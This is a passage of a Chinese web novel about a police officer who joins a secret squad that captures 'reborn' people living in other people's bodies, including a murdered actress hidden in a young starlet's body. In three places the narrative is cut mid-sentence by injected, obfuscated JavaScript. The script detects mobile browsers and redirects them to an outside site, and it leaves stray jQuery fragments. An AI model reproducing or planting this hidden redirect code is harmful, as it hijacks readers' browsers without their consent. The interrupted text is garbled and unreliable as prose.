“你哪个队的?”调过来前,秋樰生并没有听说自己这个八支队里还有个叫秦于理的副队。 “你问题太多了。”秦于理说,“我赶时间回局里,有什么事你自己回去问郑金虎。”她说着,当王洁琼破布娃娃一样拖着就走。 云上酒店的动静已经惊动了不少人,酒店里的客人、正好路过的行人,还有路上看到半空中有人跳伞停下来看热闹的司机正迅速包围过来,其中自然也包括刚刚在188层参加订婚宴会的各路媒体宾客们。 秦于理轻轻啧了一声,弯腰直接将昏迷的王洁琼扛了起来,放到自己肩上。 刚刚冲到门口看到这一幕的方许恩大惊失色,脱口喊道:“小琼!”着急忙慌地就要冲过来。 “你去拦住他,他和李天钧今晚都得带回局里!”秦于理命令秋樰生。 “你……” “这是任务,你自己说的,你是郑队派来配合我工作的。” 如果秦于理说这是命令,秋樰生少不得要跟她掰扯清楚,但是她说这是任务,秋樰生就没辙。 “后续小赵会联系你,告诉你怎么做,我赶时间。”秦于理不清不楚地说完就往远处跑,新闻记者和吃瓜路人都看到了她扛着王洁琼,顿时像闻到了血腥味的蚊虫苍蝇,纷纷围了过来。 “那是谁?是王洁琼吗?” “王洁琼怎么会跳楼?” “那个女人又是谁,她跟王洁琼什么关系?” “她要跑了,快堵住她,快!” 滴滴,一辆小面包不知从哪里冒了出来,司机猛打方向盘,车子在原地旋转发疯,把记者和吃瓜群众吓得作鸟兽散。 秦于理快跑几步,瘦削的身躯如同一张蓄力释放的弓,长腿在空中以不可思议的美妙弧度舒展,以一个标准跨栏姿势闯出了“围墙”。面包车上的副驾驶座门正好打开,秦于理卡着节点钻了进去,那头一个长相甜美可爱的女孩子同时跳了下来。 “哎,小哥哥小姐姐麻烦让一让,警方办案,大家不要在原地停留哦。”女孩子声音甜甜凉凉的,像夏日里的一口冰糖水。 面包车再次发动,一溜烟开走,有记者跟着车子跑了几步才反应过来,喊:“快,上车追!” 人群逐渐散开,女孩子凑到秋樰生跟前,露出一个甜甜的笑:“秋队是吧,我叫赵萌萌,是来帮你一起善后的。” …… 秦于理一路风驰电掣,两三下甩掉了那群记者,又绕了两圈,顺利把车开进了一处小巷子里。 这巷子里是条断头路,最深处有块狭小的停车场,旁边是扇方方正正的铁门,秦于理到的时候已经有人等在那里了。 “这次怎么晚了两分钟?”一名穿黑西装的瘦高个男人看了眼腕表发问。明明是夜晚,巷子里只有一盏昏黄的灯,他却还嫌弃周围太亮似的戴了副墨镜,叫人看了想要忍不住骂一句:“呸,装杯。” “八支队换了个人接手,那家伙不懂规矩,耽误了一会儿。”秦于理说着用下巴示意男人,“人在车上。” 黑墨镜男人拉开车门,看到了昏迷不醒地躺在后座上的王洁琼。他戴上一副白手套,伸手在腕表上点了两下,然后伸手去检查女人,未几,有个柔美但半机械的女声响起:“重生目标人物黎曼红,回收完成,感谢您的辛勤工作。” 黑墨镜男人满意地点点头,从西装口袋里摸出一罐喷雾,朝着驾驶位里里外外喷了一圈,然后才坐上去,在仪表盘上摁了几下。 小面包发出零碎的机械声响,车牌被更替,车身颜色甚至车型都在眨眼间换了一遍,他放下车窗,伸两指在太阳穴比了一下:“合作愉快。”直接倒着就把车飞也似地开走了。 秦于理敲了敲护目镜,那头传来小赵甜甜的声音:“鲤鱼姐,我接到人了,正在回来的路上。” “好。”秦于理确认了情况,走到那扇老旧铁门跟前。 铁门像一块厚重的黑色棺材板,阻隔了墙里墙外,门口没安门铃,也看不到锁眼,只有一个生锈的门把手,门上还钉着一个老旧剥落的绿色铁皮门牌,上头写着个数字“8”。 秦于理没有去按那个把手,她伸拳在门上有节奏地敲了两长两短四下,伸手转动门牌,将“8”横倒变成了无穷符号,伴随着机扩的声音,门口的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322601|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏路灯突然变了颜色,昏黄的光芒突然间变亮又变暗,有节奏地闪烁着将秦于理从上到下扫描了一遍。 “编号1178,重案组,秦于理,身份确认。” 铁门没有洞开,反而是旁边原本看着是围墙的部分无声无息裂开了一个长方形的缺口,里头有冷风吹出来,秦于理迈步走了进去。 …… 方许恩觉得自己可能在做一个噩梦。 他定居国外多年,因为一次心血来潮的旅行计划与王洁琼在飞机上邂逅。两人一见钟情,经过接触,很快订下终身。虽然王洁琼的工作具有特殊性,方许恩也大度表示可以暂时接受隐藏恋情的要求,但王洁琼似乎太爱他了,毅然决定顶着舆论压力,与他公开订婚的消息。 他们订了酒店礼服,小范围邀请了一些朋友和媒体,举行订婚仪式,到跳完开场舞的那一刻,一切都是完美的、妙不可言的,可接下来,这个美梦却变得荒诞且恐怖起来。 未婚妻王洁琼说新鞋子磨脚要去休息一下,他答应了,再看到对方的时候,却见证了对方像一团陨落的流星从高空坠落,他心都跳出了喉咙口,屁滚尿流地坐电梯到了底层,跌跌撞撞冲出去,结果看到一名高个子女人扛着自己的未婚妻往外走,他想去拦阻,却被一个寸头的警察按住,再后来…… 方许恩疲惫地搓了搓脸。 “再说一遍,今晚8点到9点半之间,云上酒店发生了什么?” “警官,我已经说了很多遍了,我什么都不知道,我只知道小琼……”方许恩的话戛然而止,他的脑子没来由地晕了一下,中断了他的思路。 他刚刚想说什么来着,方许恩用力晃了晃脑袋。录口供的办公室台灯太亮,照得他头昏眼花,他好像有点儿……有点儿思维混乱。 “小哥哥,喝点水,别着急,慢慢说。”长相甜美的女警官往他面前放了罐碳酸汽水,打开的易拉罐口跳动着细密的泡泡,发出哔哔啵啵的声响,方许恩盯着那些泡沫,思绪不由自主地飘了起来,往上、往上、再往上…… “喝一口吧。” 不知道谁在劝说自己,方许恩不由自主地伸手拿起汽水罐,咕嘟咕嘟一口气灌下去半瓶。 “哈——”清凉的感觉从喉头一路往下,方许恩感觉自己像被冰凉的瀑布由里到外清洗了一遍。 女警官笑眯眯地蹲下身:“来,仔细回忆一下,再说一遍,你是谁,今年几岁,职业是什么,今晚8点到9点半之间,你在云上酒店看到了什么?” 方许恩不明所以,他总觉得这个问题他已经回答过很多次了,但能怎么办呢,警方办案,他得配合。 方许恩吸了口气,清晰地说道:“我叫方许恩,今年28岁,是个华侨,职业是音乐家。今晚我在云上酒店……”方许恩顿了顿,不知道为什么,他在这个时候微微卡了壳。 “方先生?” 方许恩回过神来,歉然一笑:“抱歉,我这几天忙工作熬了几个夜,精神不太好,刚刚说到哪儿,哦,云上酒店……”方许恩说,“今晚云上酒店有个宴会,我作为表演嘉宾,参加了那个宴会……” 5. 第五章 荒唐的一晚上 秋樰生抱着双臂,眉头微蹙,谨慎地打量着眼前的大门。 他刚带着李天钧、方许恩和那个叫赵萌萌的女警回到局里,郑金虎新的电话就来了,两人展开了一场迅速的、气氛不怎么愉快的、莫名其妙的且最后也没有明确答案的对话。 秋樰生履新第一天压下去的脾气到最后郑金虎又要挂自己电话的时候实在压不住了,他质问对方:“郑队你是对我个人有什么意见吗,为什么连见我一面都不敢?” 他以为这样能挑起郑金虎的脾气,干这一行的,尤其是从基层辛苦打拼上来的,脾气就没有一个温吞的,不然怎么震慑得了罪犯?谁想到郑金虎就像团老棉花,在电话那头笑呵呵地说:“现在我还真不敢见你,不是时候啊。” “什么意思?”秋樰生以为这是郑金虎的挑衅。 郑金虎却说:“你别多想,反正一会儿小赵,哦,就是那个重案组的赵萌萌,秦队的手下,她会带你去处理的,等处理好了,咱们就能见面了。” 秋樰生还想追问,赵萌萌适时从门后探出甜美的小脸儿,眨巴着忽闪忽闪的大眼睛说:“秋队,口供录好了,当事人李天钧和方许恩也安排好了,我带您去处理下您身上的事呗。” 这么快?还有,什么叫“他身上的事”? 秋樰生愣神间,狡猾的郑金虎这次连“再见”都没说,直接就把电话挂了。秋樰生再拨过去,那头干脆直接关机了。 秋樰生气结,这都是什么人?这都叫什么事? 然后,他就莫名其妙地被赵萌萌领着走进了市局办公楼深处。 小姑娘先是打开了楼梯间下头一扇插着生锈钥匙的门,露出里面一间遍布灰尘的档案室,走到最里头,踢开一堆杂乱丢在地上的档案,然后再挪开一个档案架,档案架后头的斑驳墙壁上便又出现了一扇门。 事情走向太过荒唐,以至于秋樰生明明处在爆发边缘却像个受潮的炮仗,肚子里叽里咕噜可就是炸不出来。 大概是他的眼神太“阴森”,已经走进门里的小姑娘不由得缩了下脖子,讪讪的说:“那个秋队,我知道您现在有很多疑问,怎么说呢,这事儿吧,它有点复杂,得慢慢说。我现在是带您去我们组里,到了那儿,您就全明白了。真的,您放心,咱不会害你,这儿怎么说都是市局对吧,好歹咱也是有编制的人。” “你什么编制?”秋樰生问。 赵萌萌哆嗦了一下:“我?我重案组啊!” 小姑娘奇怪的发音让秋樰生一愣,他忽然想起刚刚郑金虎在电话里也说过赵萌萌是“重案组”的,但这两个人都把“重”那个字读错了,念了"chong"而不是“zhong”。 是市局的人文化水平都低,还是这个“重案组”并不是自己认知中专办刑事大案、要案的“重案组”? 门里是一条仅容一人过的通道,走了大概几百米,拐了好几个弯,然后就是又一扇门,这次是双开的。 看到秋樰生真的要炸了,小姑娘赶紧举手做发誓状:“再给我十分钟,不,五分钟,真的,我保证这是最后一道手续了,咱们组就在这后头。进组前咱们得先处理一下身上的事,很快的,马上就好。”她说着,摁了下双开门旁边的绿色按钮。门打开,露出里头一个狭长的空间,空间中灯火通明,面对面摆着两排长椅,椅子后头有窗户玻璃,活像个地铁车厢。 赵萌萌乖乖坐到了“地铁”的其中一张座椅上,像是飞机失事,氧气面罩会自动脱落一样,她刚坐下,头上就掉下来两个“地铁拉环”,叮叮当当的晃动。 “像这样双手拉住就好。”赵萌萌讨好地示范着,两只手各抓住了一只拉环,这玩意儿居然还是可伸缩的。 秋樰生深深吸了口气,在小姑娘对面坐下,随后,他的“地铁拉环”也掉了下来,秋樰生盯着赵萌萌的脸,阴森森地问:“秦于理现在在你们组里吗?” “谁?鲤鱼姐,在,当然在,她是我们队长嘛!” “那就好。”秋樰生闭上嘴,一副老僧入定的模样,只有浑身散发出的寒意让女孩子忍不住又往后缩了缩。 “出入口关闭,扫描即将开始,请您放松身体,倒数计时,3、2、1。” 半机械的女声突然响起,伴随着整个空间都有了一个往前加速的感觉,像是一列地铁真的开始启动运行。 秋樰生整个人突然一僵,他在这一瞬间有一种强烈的被什么东西审视的感觉。 从事他们这一行的对他人的视线都十分敏感,秋樰生在火车站执勤的时候,一眼扫过去能迅速筛选出疑似的潜在犯罪分子,但现在,他感觉自己才是那个犯罪分子。 有什么人正在审视他,那目光不带善意,但也说不上恶意,只是一种非常冰冷的、无机质的感觉,像一个无所事事的“神”在路边看到一群草履虫搬家,于是弯下腰、蹲下身用一种完全掌握了后者生死大权的态度,高高在上的打量,而那种视线并不是从某个地方、某个人来的,更像是充斥在整节古怪的车厢里,无所不在,又无处不能触及。 “刚开始可能会有点不习惯,尽量放松,别抗拒,这样会更快完成,准确率也更高。”赵萌萌说着,示意秋樰生跟她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322602|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样“敞开怀抱”。 秋樰生充满疑虑地看着她,这次没有照做,赵萌萌挫败地叹了口气,不作妖了。 很快,一声清脆的铃声响起。 “ID3369赵萌萌,在岗人员,本次检查结果,因果污染数值:10、μl,未达警戒值,予以通行。请您及时服用补剂清理,避免污染累积。” 因果污染数值?那又是什么? 还没等秋樰生弄明白,又是一声清脆的铃声响起。 “ID0000何……”声音停顿半秒,重新开始,“修正,ID0000未定义,编外人员,本次检查结果,因果污染数值:1.13、μl,未达警戒值,予以通行。您的健康状况良好,祝您一路顺风!” 赵萌萌不敢置信地噌地站起来,来回打量秋樰生:“你居然比我污染指数还低,这怎么可能?” “为什么不可能?” “我都没敢碰目标人物一指头,你可是拉过黎曼红的手,跟李天钧交过手还和方许恩有过接触!” 另一侧的双开门此时打开,带起一股冷风,风中夹带着淡淡的薄荷香气,换了一身工装背心冲锋裤的秦于理用毛巾擦着湿漉漉的头发出现在两人眼前。 “鲤……秦队。”赵萌萌恭敬地喊了一声,赶紧离开秋樰生,快步走到秦于理跟前。 “时间不早了,不想下班了?去,把今天的文书工作做掉,我和秋队谈谈。” “啊?哦。”赵萌萌还有点恋恋不舍,边走边回头好奇地看秋樰生,试图想从他身上找出些什么,不过最后还是走掉了。 见正主来了,秋樰生站起身,走到秦于理跟前,低头,两人之间的距离一下子突破了正常社交范围。 秋樰生有足足一米八十七的身高,虽然练得不是重器械,没有健身先生那种大块外显的肌肉,但站在秦于理身前也足够能将她压下大半个头。何况刚进警队的时候,因为同僚都笑话他长得雌雄莫辨,震不住罪犯,他刻意练过自己的眼神气质,加上这些年在一线的锤炼,顶着那张面若好女的脸也能吓哭一群汪洋大盗,渐渐的才有了“活无常”这个外号。 可偏偏,秦于理这女人哪怕抬起头看他的时候,眼神依然是平静无波的,看不出半点被压制的意思。 “你最好给我个交代。” “跟我来。” 两人同时开口,秦于理眉毛微微一挑,转身往里走。 秋樰生死死盯着她的背影,这样荒唐又莫名其妙的一晚上,如果没有个合理的解释,他只能打破规矩,对眼前这刚见面的女人动手了! 6. 第六章 编号0000 秋樰生一脚踏出那节“地铁车厢”,就看到了一个老旧的地铁站台。站台上还挂着个灯牌,写着“重案组站”四个字。 “这里还真是地铁?”秋樰生回忆市局的地理位置和自己一路走来的大概走向,怎么都不觉得他们会在半个小时不到的时间里走到地铁沿线,何况这个站点他也从没听说过。 秦于理走进一部电梯,这电梯甚至不是全封闭的,像是老式港片里那种垂直升降的铁笼,外面有道铁门,人站在里头能直观看到电梯升降时外头的景色。 “这是钟山里面。”秦于理等秋樰生跟进来,按下关门键,电梯面板上只有两个键,一个“上”,一个“下”,看来这里并没有很多层。 “钟山……”秋樰生低声重复了一遍。 隀明市是座依山傍水的美丽城市,山叫钟山,水叫崧江,这里历史悠久,旅游资源丰富,本来应该可以成为国内很多游客爱来的地方,不知道为什么,市政府竟迟迟没有将钟山纳入旅游开发计划,而隀明市公安局的确就在钟山脚下。 世人多爱编故事,有人说钟山崧江,连起来是“江山送终”,说这山里肯定有大墓,但因为目前缺乏挖掘条件和有效保护措施,所以市政府放着赚钱的买卖迟迟不动手;也有人说,这里风水不好,是大凶之地,千百年前发生过很多邪门事,多亏有高人用生命布阵才在钟山底下镇压住了大鬼,市里面之所以把公安局建在山脚下,为的就是用干警们的阳刚正气压制住大鬼的邪煞阴气。谁能想到,真相竟那么无趣。 电梯到达,门打开,秦于理领着秋樰生走出去。外面是个很大的空间,像是山腹内的空腔溶洞,半圆形的洞穴改造成了一间大办公室,里头摆放着零零碎碎七八张桌子,赵萌萌正坐在其中一张桌前,眉头紧蹙地忙活着什么。 这里封闭、幽暗,没有窗户,虽然有新风系统,但给人的感觉很压抑。 秋樰生有年去洛阳古墓博物馆参观,那些被复原展示的墓穴就给他这种感觉,当然这里的空间要高广得多,挑高至少有五米左右,灯火通明,但压抑就是压抑。 “你们重案组就在这里办公?”秋樰生刻意强调了“chong”的读音,秦于理“嗯”了一声:“出外勤的时候除外。” “怎么,你们是有什么见不得人的吗?”这既是提问也是挑衅。 秦于理边走边把自己脖子上的毛巾丢到一张堆满杂物的桌子上,顺手拿起了上面的一本卷宗和一罐汽水。 这个问题没有得到回答。 “这里实际的办公人员好像不多吧?”秋樰生又换了个话题,他注意着每张办公桌上摆放的物件,有眼镜、书、笔记本、饼干泡面、空易拉罐等等,生活工作气息满满,但好些桌子上的东西似乎很久都没人动过了,甚至沿着物品轮廓能看到一圈灰。 “目前就三个,我、小赵,还有老范。” “这也能叫组?”秋樰生惊讶,“侦查、法医、痕检、后勤,再怎么节约也得有四个人。” 秦于理突然停下脚步,转身面对秋樰生,秋樰生及时刹车,没撞上她。 “怎么了?”秋樰生问。 “以前是有四个。” 秋樰生猛然想起刚刚那节奇怪的检查车厢,那个系统扫描他后先说他是编号0000何,随后才进行了修正。 所以,重案组曾经有个外勤姓何? 所以,他这次被调过来并不是市局刑侦支队要他,而是因为重案组少了个人,急需人顶上? 秋樰生脑子飞快转动。 “放心,你的编制和主要工作还在八支队,但我们组办事的时候需要一个明面上的合作人。” 越听越觉得这个组有问题。 秋樰生大胆发问:“何警官呢?” “转业了。”秦于理并没有惊讶秋樰生的敏锐。 “转业?!”秋樰生都做好准备听秦于理讲前任牺牲的事迹了,冷不丁听到转业两个字像是一脚踩空,以为自己要摔了,结果发现脚下并没有坑。 “我们这个组,一般人来都做不久。” “是因为那个什么因果污染数值?” 秦于理上下打量秋樰生,后者终于从她脸上看出了些许的表情变动,很细微,如果不是秋樰生业余时间专门研究过微表情,压根也看不出来,这好像是一个可以描述为“满意”的表情。 “秋队很聪明。” 秋樰生一下子感受古怪,这话他平时也说,不过都是对刚进队首次表现还算不错的愣头青说,眼下他都虚岁三十了,好歹也升到了副处的位置,虽然未来估计也到顶了,但这女人看起来才二十出头吧,结果反过来“鼓励”他。 “秦队回来了。” 一个男人的声音打破了秋樰生和秦于理两人间的古怪氛围。来人大约五十多岁,中等身量,穿着一身藏青中山装——这种衣服现在就算七老八十的人都不穿了,何况他还戴着一副老式知识分子的黑方框眼镜,两只胳膊上都套着袖套,手里捧着一叠散发着陈旧霉味的报纸,怎么看怎么像个年代剧里走出来的老村支书。 秦于理答应了一声,像是想到什么,又补充:“这是老范,我们组另一名正式职工,这是八队的秋樰生秋副队,他是新一任的0000。” 闻言,老范打量了秋樰生一下,随后微笑开口道:“您好,我是范朋,叫我老范就行,欢迎秋队。” “您好。” 握了一下手,等老范走开,秋樰生才说:“秦队,我的调令上并没有提到我要进你们组。” “那是因为重案组所有工作涉密,不能公诸于世。” “组织部门也没找我事先谈过,我甚至不知道你们在做些什么。” “所以现在正要跟你说。”秦于理用手在山壁上推了一下,秋樰生才发现这里是有门的。“进来。”秦于理说着,率先走进去开灯。 里面是间小会议室,放着一张四人桌和几把椅子,墙面上挂着一个大大的屏幕。 “坐。”秦于理靠在桌沿,单手拉开易拉罐拉环,另一手捞了个遥控器,摁了一下,屏幕亮起来,露出被分割成八块的画面。 “王洁琼!”秋樰生一眼就认出屏幕上的女人是自己不久前才接触过的跳楼女明星,此时她正身处一间封闭的洁白房间内,坐在靠背椅上一动不动。她的手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322603|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、脚踝、脖子上都上了束缚器械,妆花了,艳红色的裙子也沾满了灰尘。 局里的询问室、审讯室、留置室还有拘留所都不是这样的装潢,她是被送到什么地方去了? “教化所,”秦于理说,“所有重生人被回收后都会送到教化所,接受强制矫正。” 教化所?重生人? 秋樰生脑子嗡嗡的,他眼睛一瞬不瞬地盯着屏幕上的女人看。 他不久前才和王洁琼打过照面,哪怕是匆匆一瞥,留下的印象也是热烈、蓬勃、充满野心和生命力的,哪怕当时她正从高楼坠落,生死一线。 秋樰生后知后觉地感觉到违和,当时在云上酒店,他反射性地伸手拉住了坠落的王洁琼,两人近距离对视过,对方当时的脸上有惊讶有愤怒有不悦,却没有很多的恐惧。 正常人从188层摔下去必然吓得表情失控,可王洁琼看起来却像是讥讽多于恐惧,就像是……像是她并非第一次经历死亡。反而是现在,屏幕上的王洁琼看起来像一只被逼到墙角的小动物,陷入了某种应激后的诡异的僵直状态。 “你看看这个。”秦于理将手里的卷宗递给秋樰生,还贴心地翻开了封皮。 两个女人的脸同时出现在卷宗上,左面是长相大气打扮知性的黎曼红,右面是长相精致学生模样的王洁琼,两人有八岁的年龄差,一个本地人,一个外地人,出身背景完全不同。 “黎曼红,85后,实力派女演员,前年春天被人发现死在崧江里,警方结论是他杀,人死于上一年冬天,因为冬季江水结冰,尸体没被及时发现,一直报的失踪。半个月后,警方抓到了凶手常某,他是黎曼红的司机,自称因职场霸凌,一时失控,激情犯下重罪,法院念在他还有个未成年的孩子和得了绝症的老母,最后判了死缓,现在在服刑。 “王洁琼,新晋95花,毕业于某大专服装设计系,毕业后只身一人在隀明市闯荡,跑剧组当模特接群演,梦想是当女明星,根据交警队的记录,大前年冬天,她曾出过一次车祸,好在有好心路人发现后报警,及时送医,生命无大碍,出院后她短暂沉寂了一阵,之后签约了一家小经纪公司,凭借一部小成本偶像剧一炮而红,逐渐在大众眼前崭露头角,今天出事前,正处于事业上升期。” 秋樰生有些迷茫地翻着卷宗,除了第一页的个人信息,后面有两个人各自梳理好的人际关系和职业发展脉络,配上了不同阶段的相片。 秋樰生看着看着,有一种很奇怪的感觉,明明他刚刚见过的是王洁琼,可他发现卷宗照片上的王洁琼给他的感觉像是另一个陌生人,反而是知性外表下的黎曼红,隐隐透露着某种浓烈的生机,令他似曾相识。 “简而言之,大前年冬天,黎曼红和王洁琼在同一时间遭遇了生死威胁,黎曼红被沉江,王洁琼车祸后的情况则比出警记录中记载的严重得多,严重到王洁琼的灵魂死了,黎曼红的躯壳死了,然后,两人的因果线意外发生交叉感染,黎曼红在王洁琼的躯壳里重生了。” 秋樰生错愕地看向秦于理,他怀疑自己现在在精神病院听天书。 秦于理手指屏幕:“你自己看。” 7. 第七章 弱势的正义 电视屏幕里,被束缚住的王洁琼听到了一阵铃声,猛然抬起头,惊慌地打量四周。 “你们是谁,为什么要抓我,我要找我律师,你们跟她谈!不不,我有钱,你们是为了钱吗,你们要多少,我都给你们!”王洁琼歇斯底里地喊叫,但高清影像展示了她此时的表情,她眼睑微微抽搐,脸颊上的肌肉也跟着轻轻颤动,幅度不大,显然是在有意控制,所以,她此时的惊慌是表演出来的。 “我是女明星、公众人物,好多人都关注我,我未婚夫方许恩现在一定也在找我,警察会很快找到你们,把我救出去的,到时候你们都要坐牢!” 室内寂静无声,仿佛那里除了王洁琼,一个人都不在。 “你们说话呀,你们到底想做什么!”王洁琼用力拉扯束缚器械,屏幕里发出哗啦哗啦的声响,随即,一声刺耳的蜂鸣声响起,她被吓了一跳,“你们要对我做什么,放我出去,放我出去!” 她的话还没说完,一个秋樰生已经熟悉的半机械女声响了起来:“编号444-Ⅰ重生人,黎曼红,第一次强制矫正预备中,开启记忆回溯。” 屏幕上的女人像是被看不见的手打了一拳:“你们弄错人了,我不是黎曼红,我是王洁琼,王洁琼!!!”她拼命挣扎,试图离开那张椅子,但一切只是无用功。 房间里的灯光明灭了几下,随后突然关闭,紧跟着,如同老式暗房的红色灯光亮起,将王洁琼整个人笼罩在其中。女人慌乱地左右张望了一阵,忽而似有什么东西引起了她的注意,女人的眼神盯住了屏幕上的某一点,她的瞳孔微微放大,眼神也从戒备防范逐渐至软化涣散。 “系统正根据她的记忆,强制再生当事人因果线的虚拟影像。”秦于理按了一下遥控器,屏幕分成了左中右三块,左边依然是王洁琼的现场监控,中间和右边两块屏幕却产生了不同的变化。秋樰生在中间的屏幕上清楚地看到了一个女孩出生、成长的影像,右边的屏幕虽然也有影像,却像是被加了马赛克,模糊不清,很难分辨。 “你可以把重生看作寄生,重生人在寄生到载体中后,原主的记忆、因果就会被压制,重生人的记忆和因果则反客为主。” 也就是说,中间屏幕上的是黎曼红,右边模糊不清的则是那个被压制的王洁琼。 秋樰生注视着中间那块屏幕,他看到了一个出生在乡下的小女孩,她没有父亲,母亲在富人家里帮佣。在她年纪还小的时候,她就被母亲带到东家帮手,女孩子在那里认识了东家小少爷,那是一个长相漂亮,气质阴冷的小男孩。女孩在见到男孩的第一眼就对他产生了浓浓的好感,因为男孩给了她一块进口糖果,这是女孩第一次吃到这么好吃的零食,糖果很甜,女孩开心极了。当时男孩摸了摸女孩的头说:“你叫黎曼红吗,你的名字真好听,我以后就叫你曼曼吧,我叫李天钧,你以后可以喊我钧钧哥哥。” “钧钧……哥哥……”屏幕左侧的女人不知不觉地跟着念了一遍,眼角缓缓淌下泪水。 屏幕上光影变化,展现两人的童年。男孩是富豪李家的小少爷,名义上是继承人,但母亲死得早,继母又生了一对龙凤胎,他就成了眼中钉。客观来说,李天钧的童年确实过得很艰难,他经常被弟弟妹妹欺负,就连下人都敢仗着他年纪小欺凌他,但李天钧并没有因此吃很多亏。他从小就心机深沉,手段毒辣,敢欺负他的人他或早或晚都加倍报复回去了,所以在女孩曼曼眼里,李天钧是一个什么都懂、什么都会、又对她特别好的小哥哥,是她心甘情愿崇拜及追随的闪耀偶像。 黎曼红十五岁的时候已经出落成了一个小美人,因为李天钧的一句“曼曼这么漂亮,好适合当明星呀”,她毅然选择辍学,进入娱乐圈闯荡。黎曼红有天赋,肯学习、能吃苦,凭借着一个又一个配角,逐渐在观众中积累了人气。十八岁那年,女孩因为一部古偶剧女二爆火,摘得了实力新人奖,获得了万千瞩目。同一年,男孩生日那一天,女孩把自己当做礼物,颤抖着送出了自己的第一次,她以为他们从此从青梅竹马变成了真正的情侣,可以天长地久,却没想到一切只是她一厢情愿。 富豪老了,家族遗产继承战愈发激烈,她的钧钧哥哥总是苦恼地对她诉说自己的无力,身后没有母家支持,手里没有优质资源,办事处处捉襟见肘,父亲分派给他和弟弟两人的项目都存在很大的难度不同,他就像是一只丧家之犬,处处被动挨打。 “曼曼,我身后一个人都没有,我只有你。”喝醉酒的李天钧颤抖着抱住黎曼红呢喃,“是我没用,我要是有钱有靠山就好了,我想给我的曼曼更好的未来。” 为了“我的曼曼”这四个字,黎曼红不眠不休想了一整晚,第二天,她联系了自己的经纪人,决定下海,用青春美色作筹码,为她的钧钧哥哥搏一个未来。 从此,清纯少女变成了名利场上的交际花,黎曼红两脚泥泞一身脏污,一步步走过来。她为李天钧谈生意,也为李天钧拉关系,她在娱乐圈里浮浮沉沉,评价好坏参半,有人骂她放浪势利也有人说她精明难搞,YXH把她的黄谣传得山海一样无垠,只有她自己一心觉得她的钧钧哥哥会懂她。 “钧钧哥哥说过,我们是要走一辈子的,他身后空无一人,只有我!”左侧屏幕里的女人用已经不是自己的面孔不断重复,不知道是在讲给屏幕外的人听,还是在说服自己。 在黎曼红的帮助下,李天钧弄残了弟弟,赶走了后妈和妹妹,清理了父亲留下的老臣,一手掌握了天茂集团。他以优质富二代的名头广为人知,成了万千少女的梦中情人,也成了娱乐圈女明星争相竞争的钻石王老五。 黎曼红三十二岁那年意外怀了孕,她找到李天钧,想要表达自己退出娱乐圈,洗手作羹汤的意愿,但李天钧却抢先一步告诉她,自己刚被生意场上的竞争对手算计,欠下一大笔钱,还惹恼了某位举足轻重的官员,天茂集团岌岌可危。 “曼曼,我们好不容易才走到今天,不能功亏一篑,从始至终只有你是真心对我的,你会帮我的对不对?” 黎曼红最后在国外打掉了孩子,不久YXH隐晦影射,说某知名实力派女明星找了体制内金主,从此以后成为说不得的存在。 屏幕上一幕一幕,秋樰生看得慢慢捏紧拳头。 记忆影像走到黎曼红与王洁琼命运交集那一刻,右边的屏幕才终于清晰起来,那一晚,王洁琼过五关闯六将,终于得到了一个在她看来十分宝贵,对黎曼红来说不屑一顾的演出机会,女孩子高高兴兴准备进组,结果被醉酒驾驶的鲁莽司机撞飞,狠狠摔倒在马路上。 王洁琼是可怜,黎曼红那里却是恐怖! 她人到中年,虽然保养得其实很好,但在狩猎女明星的权贵眼里已经芳华不再,主要是,不再新鲜。 她再次找到她的钧钧哥哥想要退出娱乐圈,从此安心做李太太,却亲眼目睹了新冒出来的顶流女明星桑箬和李天钧的苟且之事。她和李天钧大吵一架,不欢而散,第二天又听说了李天钧与桑箬可能修成正果的八卦。 黎曼红终于失去控制,她颤抖着手拨通了李天钧的电话,警告他自己手里有许多男人一路走来不光彩的证据,如果李天钧不愿娶她,他们就恩断义绝。再然后,黎曼红就被自己用了多年的司机常威绑架,被桑箬贴脸嘲讽,在那个刺骨寒冷的冬夜,活活淹死在了涛涛江水之中。 “李天钧多半是借桑箬的手杀死了黎曼红。”秦于理说,很显然,以李天钧的为人,桑箬不过是又一个黎曼红,是一把好用的刀,他永远不用自己出手,就能达成那些肮脏的目的。 屏幕上的画面停止在两个不同背景、不同年纪、不同身份的女人同样濒死的那一刻,那一刻,冥冥之中似乎有什么力量将她们拉到了一起,黎曼红得以用王洁琼的身份再活一次。 “这不科学……”秋樰生缓缓吐出这四个字,这是他经历了荒唐的一晚后能够得出的唯一结论。 “你也可以用科 